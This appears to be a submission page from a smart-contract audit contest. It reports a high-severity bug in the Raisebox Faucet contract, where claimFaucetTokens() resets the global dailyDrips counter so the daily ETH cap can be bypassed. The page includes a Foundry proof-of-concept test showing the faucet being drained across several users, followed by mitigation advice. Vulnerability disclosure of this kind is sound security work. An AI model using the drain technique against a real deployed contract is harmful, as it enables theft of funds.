Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Faucet ETH Draining via Daily Drip Reset Exploit

Root + Impact

Description

  1. Under normal behavior, the dailyDrips The counter should continuously track how much Sepolia ETH has been distributed each day and only reset once per 24-hour cycle. This ensures the faucet cannot exceed its dailySepEthCap.

  2. The issue is that dailyDrips is incorrectly reset to 0 inside the else block whenever a user who has already claimed ETH calls claimFaucetTokens() again. This allows attackers to repeatedly reset the daily counter and drain all ETH from the faucet.

// inside claimFaucetTokens()
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// normal ETH drip logic for first-time claimers
} else {
@> dailyDrips = 0; // ❌ Vulnerable line — resets the global daily drip counter
}

This line effectively bypasses the faucet’s daily ETH distribution cap, allowing malicious users to claim unlimited ETH using alternating addresses.

Risk

Likelihood:

  • Can be triggered by any previously claimed address making a call — no special permissions or timing required.

  • Attack can be automated with simple alternating calls from two or more wallets.

Impact:

  • Daily ETH limit (dailySepEthCap) becomes meaningless, since it is repeatedly reset.

  • The faucet’s ETH balance can be fully drained in a short time.

Proof of Concept

function testBypassOfDailyEthCapExploit() public {
assertEq(address(raiseBoxFaucet).balance, 1 ether, "Initial faucet ETH balance must be 1 ether");
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens();
uint256 firstDailyDrip = raiseBoxFaucet.dailyDrips();
console.log("After User1 claim - dailyDrips:", firstDailyDrip);
assertEq(address(user1).balance, 0.005 ether, "User1 should receive 0.005 ETH");
assertGt(firstDailyDrip, 0, "Daily drips should increase after first claim");
vm.prank(user2);
raiseBoxFaucet.claimFaucetTokens();
vm.warp(block.timestamp + 4 days);
vm.prank(user2);
raiseBoxFaucet.claimFaucetTokens();
uint256 resetDailyDrip = raiseBoxFaucet.dailyDrips();
console.log("After User2 re-claim (bug trigger) - dailyDrips:", resetDailyDrip);
assertEq(resetDailyDrip, 0, "BUG TRIGGERED: dailyDrips reset to 0");
vm.prank(user3);
raiseBoxFaucet.claimFaucetTokens();
uint256 afterExploitDailyDrips = raiseBoxFaucet.dailyDrips();
console.log("After exploit - dailyDrips:", afterExploitDailyDrips);
console.log("Contract ETH balance left:", address(raiseBoxFaucet).balance);
assertEq(address(user3).balance, 0.005 ether, "User3 wrongly received ETH again");
assertGt(afterExploitDailyDrips, 0, "DailyDrips incremented again from zero after exploit");
uint256 finalBalance = address(raiseBoxFaucet).balance;
assertLt(finalBalance, 1 ether - (0.005 ether * 2), "ETH balance drained due to bypass");
console.log("Exploit successful. Remaining ETH in faucet:", finalBalance);
}

Recommended Mitigation

  • Fix dailyDrips reset: only reset at a real day rollover, don’t reset on any claim.

  • Use per-user tracking: hasClaimedEth[user] + lastClaimTime[user] to enforce cooldown.

  • NonReentrant + effects-before-interactions: update state before sending ETH.

  • Optional: prevent contract calls (require(msg.sender == tx.origin)).

- Reset dailyDrips on any user claim
+ Only reset dailyDrips at a fixed daily interval (e.g., midnight UTC)
- Track hasClaimedEth globally for daily limit
+ Track hasClaimedEth per user with lastClaimTime to enforce 3-day cooldown
- Allow claims regardless of contract ETH balance
+ Limit ETH sent per claim to available balance; revert or skip if insufficient
- No check on contract vs EOAs
+ Optionally restrict ETH claims to externally owned accounts (EOAs) only
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.